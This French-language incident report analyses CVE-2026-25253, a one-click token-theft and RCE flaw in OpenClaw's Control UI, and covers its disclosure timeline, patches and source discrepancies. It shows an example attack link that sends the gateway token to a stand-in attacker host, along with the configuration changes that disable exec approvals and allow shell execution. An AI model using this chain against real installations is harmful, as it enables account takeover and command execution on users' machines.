Détournement WebSocket de l’interface de contrôle OpenClaw : un seul lien vers une RCE

Le 29 janvier 2026, la société de sécurité Ethiack a publié son compte rendu d'une faille dans OpenClaw, l'agent IA personnel open source qui s'exécute sur la machine de l'utilisateur et est piloté depuis un tableau de bord de navigateur appelé Control UI. Un lien conçu à cet effet pouvait faire remettre par ce tableau de bord à un attaquant le jeton d'authentification de la passerelle et, avec lui, la capacité d'exécuter des commandes shell en tant qu'utilisateur connecté. CVE-2026-25253 a suivi le 1er février 2026, puis l'avis du projet lui-même le lendemain, tous deux classant la faille à 8,8, soit un niveau élevé. Tous les déploiements dans lesquels quelqu'un s'était connecté à l'interface Control UI étaient concernés, y compris les instances accessibles uniquement en loopback. Aucune source consultée pour cet article ne rapporte que la faille ait été utilisée contre un utilisateur réel. L'archive classe l'épisode comme un incident d'infrastructure de gravité élevée, avec une note de confiance B et une date précise au jour près, le 29 janvier 2026, aux côtés de ses autres entrées relatives à la sécurité des agents dans l'Orca AI Incident Archive.

Ce que l'interface de contrôle a fait avec une URL

OpenClaw est un agent auto-hébergé auquel ses utilisateurs accèdent via des applications de messagerie et un tableau de bord web, et qui fonctionne avec ce que le rapport d'Ethiack appelle un « accès complet au système ». Le projet avait déjà été renommé plus d'une fois, portant les noms Clawdbot et Moltbot avant OpenClaw, et le registre de npm consigne la création du paquet openclaw le 29 janvier 2026 à 11:08 UTC. Le tableau de bord est l'élément qui compte ici : il conservait le jeton de passerelle dans le stockage du navigateur, et c'est là que résidait la faille.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Deux caractéristiques des navigateurs transforment cette fuite en prise de contrôle. Les navigateurs n'appliquent pas la politique de même origine aux connexions WebSocket comme ils le font pour les requêtes HTTP ordinaires, et la passerelle ne validait pas l'en-tête Origin lors de la mise à niveau, de sorte que le JavaScript d'une page visitée par la victime pouvait ouvrir une socket directement vers ws://localhost:18789 (depthfirst, 1er février 2026). Comme c'est le navigateur de la victime lui-même qui établit la connexion sortante, l'attaque atteignait des passerelles liées à l'interface de bouclage et invisibles depuis le réseau. « Cette vulnérabilité est exploitable même sur des instances configurées pour écouter uniquement sur l'interface de bouclage, car c'est le navigateur de la victime qui initie la connexion sortante », indique l'avis du projet. Ethiack a relevé une condition supplémentaire à l'époque : la version stable de Chrome qu'elle a testée n'intégrait pas la permission Local Network Access par défaut, de sorte que le navigateur n'a non plus affiché aucune invite.

Ce que le jeton volé permet d’obtenir, c’est le reste de l’histoire. Il portait les scopes operator.admin et operator.approvals. Avec ceux-ci, un attaquant pouvait désactiver les approbations d’exécution en définissant exec.approvals.set sur "off", déplacer l’hôte d’exécution hors du conteneur en définissant tools.exec.host sur "gateway", puis exécuter des commandes shell sur l’hôte via une requête node.invoke / system.run (depthfirst, 1er février 2026 ; The Hacker News, 2 février 2026). L’avis du fournisseur résume le résultat en une phrase : l’attaquant peut « modifier la configuration (sandbox, politiques d’outils) et invoquer des actions privilégiées, réalisant un RCE en un clic ».

Trouvé en moins de deux heures, par une machine

La découverte était elle-même un exercice d’IA. Ethiack a lancé son agent autonome de tests d’intrusion, Hackian, sur une instance OpenClaw active le 26 janvier 2026 à 13 h 21 UTC. Il a confirmé la faille à 15 h 05 UTC, soit environ une heure et quarante minutes plus tard, chiffre qu’Ethiack met en avant dans son compte rendu. L’entreprise l’a signalée aux mainteneurs d’OpenClaw à 18 h 02 UTC. Une pull request a suivi le 27 janvier et le correctif a atteint la branche principale dans la soirée du 28 janvier, selon la chronologie publiée par Ethiack et l’historique des commits du projet.

Une seconde équipe est parvenue à la même conclusion indépendamment. Mav Levin, chercheur en sécurité fondateur de depthfirst, a publié son propre rapport le 1er février 2026, écrivant que « l'équipe OpenClaw a rapidement traité et corrigé le problème que j'ai signalé » et qu'une autre personne avait signalé le même bug de façon indépendante. L'avis GitHub crédite DepthFirstDisclosures comme rapporteur et liste à la fois 0xacb et mavlevin parmi les découvreurs. Le compte 0xacb porte le nom de profil André Baptista, l'un des trois coauteurs du rapport d'Ethiack, ce qui correspond à la chronologie : la pull request d'Ethiack concernant le correctif a été ouverte depuis ce compte le 27 janvier et le commit des mainteneurs le remercie nommément. Aucune source consultée pour cet article n'indique que les deux efforts se connaissaient avant la publication, et aucune ne conteste le crédit.

La date de l’enregistrement, ainsi que les dates qui l’entourent

L’archive date cette entrée au 29 janvier 2026, avec une précision au jour près, ce qui correspond au jour où les recherches d’Ethiack sont devenues publiques. Le correctif de code avait déjà été intégré la veille. La version taguée qui le contenait est sortie dans les premières heures du 30 janvier UTC, soit le soir du 29 janvier en heure du Pacifique des États-Unis : npm enregistre la version 2026.1.29 à 04:49 UTC le 30 janvier et la release GitHub à 05:26 UTC. L’enregistrement CVE de MITRE est daté du 1er février 2026 à 22:34 UTC, l’avis GitHub du 2 février à 23:41 UTC, et The Hacker News a relayé la faille le 2 février.

La source citée par l'enregistrement, le traqueur d'incidents d'agents de Permission Protocol, tient sa propre chronologie, et certaines parties de celle-ci sont en retard. Il situe la publication du correctif au 2026-01-29, ce qui est cohérent avec le numéro de version, mais date les « premiers signalements » de la vulnérabilité du 2026-02-12 et la divulgation publique généralisée de CVE-2026-25253 du 2026-02-26, avec des récapitulatifs indépendants au 2026-03-24. Les documents primaires indiquent le contraire. La date du 26 février correspond à l'analyse du correctif de SonicWall, publiée trois semaines et demie après la création de l'identifiant, et le 12 février se situe entre les deux analyses de recherche et l'analyse du fournisseur, plutôt qu'avant celles-ci. La dernière ligne de la chronologie du traqueur qualifie aussi le mécanisme de « zéro clic » ; l'avis du fournisseur le qualifie de 1 clic, et tous les comptes rendus publiés décrivent une victime qui doit ouvrir un lien. Lorsque ces dates et ces libellés divergent, cet article s'en tient à l'enregistrement CVE, à l'avis du fournisseur et aux deux analyses de recherche.

Une mise en garde concernant cette source mérite d’être formulée ouvertement. Permission Protocol commercialise un portail d’autorisation, et sa fiche présente l’incident sous l’angle de ce que son propre produit aurait bloqué. La page qualifie cette évaluation de conditionnelle et déclare à son sujet que « la source n’établit pas de résultat de prévention du produit ». Ce que le dossier rapporte bel et bien avec exactitude, c’est son cadrage : la recherche était publique trois jours avant que le CVE n’existe, ce qui explique pourquoi l’archive parle d’une découverte précoce en amont de CVE-2026-25253.

Qu'est-ce qui a réellement été endommagé

Rien, pour autant que les sources en fassent état. L’archive marque l’enregistrement real_harm false, ce qui est cohérent avec tout ce qui a été publié à son sujet. Le Centre pour la cybersécurité de la Belgique a publié un avis le 2 février 2026 indiquant qu’« il n’existe actuellement aucune preuve que cette vulnérabilité ait été exploitée dans la nature ». Ni Ethiack, ni depthfirst, ni SonicWall, ni The Hacker News ne signalent une victime, une installation compromise ou des données dérobées, et aucun d’entre eux ne chiffre le nombre d’installations exposées. Ethiack observe seulement qu’il y avait « des tonnes d’instances fonctionnant sur des serveurs publics » avec une configuration faible, ce qui relève d’une impression plutôt que d’un décompte.

Ce qui existe, c’est du code d’exploitation fonctionnel. Ethiack a publié le code source complet de l’exploit en même temps que son analyse et a démontré la chaîne d’exploitation contre sa propre instance. L’analyse de SonicWall de février montre une capture de jetons « à l’aide d’un exploit disponible publiquement ». Un dépôt de preuve de concept tiers est apparu sur GitHub le 9 mars 2026. Un code d’exploitation public n’est pas la même chose qu’une exploitation, et l’indicateur de préjudice de l’archive concerne cette dernière.

Une source est plus imprécise que les autres et mérite d’être signalée. La section sur les risques de l’avis belge décrit comme déclencheur le fait que le bot lui-même rende du contenu contrôlé par l’attaquant, ce qui ne correspond pas au mécanisme décrit dans l’avis du fournisseur ni dans l’un ou l’autre des rapports de recherche : dans les trois, le navigateur de la victime est attiré vers un lien et l’agent est la cible, non le vecteur de livraison. La partie citable de cet avis est sa déclaration sur l’exploitation ; son résumé du mécanisme ne l’est pas.

Ce qui a changé, et ce que le premier correctif a laissé en suspens

Le correctif de la version 2026.1.29 a ajouté une boîte de dialogue de confirmation avant que l’interface Control UI ne bascule vers une autre URL de passerelle. L’avis du projet décrit ce changement ainsi : « Avec ce changement, les utilisateurs doivent désormais confirmer la nouvelle URL de passerelle dans l’interface », et le fichier qui affiche la boîte de dialogue est présent dans le tag v2026.1.29. Cela fait passer le coût de l’attaque d’un clic à un clic plus une confirmation délibérée. Cela ne supprime pas la confiance sous-jacente accordée à un paramètre d’URL.

La validation de l'origine, l'autre moitié de la chaîne, est venue plus tard. L'analyse du correctif de SonicWall indique que « les mises à jour ultérieures ont mis en œuvre des contrôles stricts de validation de l'origine », en énumérant quatre contrôles : rejeter un en-tête Origin manquant ou invalide ; autoriser un hôte Origin qui correspond à l'en-tête Host ; autoriser le loopback vers le loopback ; autoriser les origines nommées dans une liste allowedOrigins configurée ; et rejeter tout le reste. L'ordre des opérations est visible dans le code source du projet au tag v2026.1.29, où le gestionnaire de mise à niveau WebSocket lit et journalise l'en-tête Origin sans lui appliquer de politique.

Les autres réponses relevaient de la détection plutôt que du code. SonicWall a publié la signature IPS 21908 pour ce qu'il appelle une exposition de données sensibles OpenClaw. depthfirst a recommandé de mettre à niveau et de renouveler le jeton de passerelle en cas de suspicion d'exposition, ce qui découle directement du mécanisme : un jeton volé reste valide jusqu'à ce que quelqu'un le change.

Ce qui est établi, et ce qui ne l’est pas

Il a été établi, à partir de documents sources : le chemin de code vulnérable lisait gatewayUrl dans la chaîne de requête et se connectait automatiquement sans validation ; la trame de connexion transportait le token stocké ; la passerelle ne validait pas l’origine WebSocket, de sorte qu’un navigateur sur n’importe quel site pouvait atteindre la boucle locale ; le token portait des portées admin et d’approbation ; les versions antérieures à 2026.1.29 étaient affectées ; et deux équipes ont découvert la faille indépendamment, dont l’une un agent autonome opérant depuis l’extérieur.

Non établi : que quiconque l'ait exploité, combien d'installations étaient accessibles à l'époque, et si la seule boîte de dialogue de confirmation suffirait à déjouer un attaquant déterminé. La note B de l'archive reflète une base de citations composée d'un seul traqueur secondaire plutôt qu'un quelconque doute sur les mécanismes, et la fiche n'est pas marquée comme contestée. Ces mécanismes sont corroborés par l'avis du fournisseur, par l'entrée CVE de MITRE et par deux articles de recherche indépendants, ce qui représente plus que ce que la fiche elle-même revendique de son propre chef.

Le résumé en une ligne de l’archive qualifie cela de découverte précoce, antérieure à CVE-2026-25253, et c’est bien ainsi qu’il faut lire l’entrée : le compte rendu d’une faille trouvée, signalée et corrigée avant même qu’elle n’ait un identifiant, dans un produit conçu pour exécuter des commandes sur la machine sur laquelle il réside. La CVE qui a suivi décrit les mêmes trois comportements — un paramètre de requête, une connexion non sollicitée et un jeton dans la poignée de main —, et aucune source consultée pour cet article ne place qui que ce soit à l’autre bout.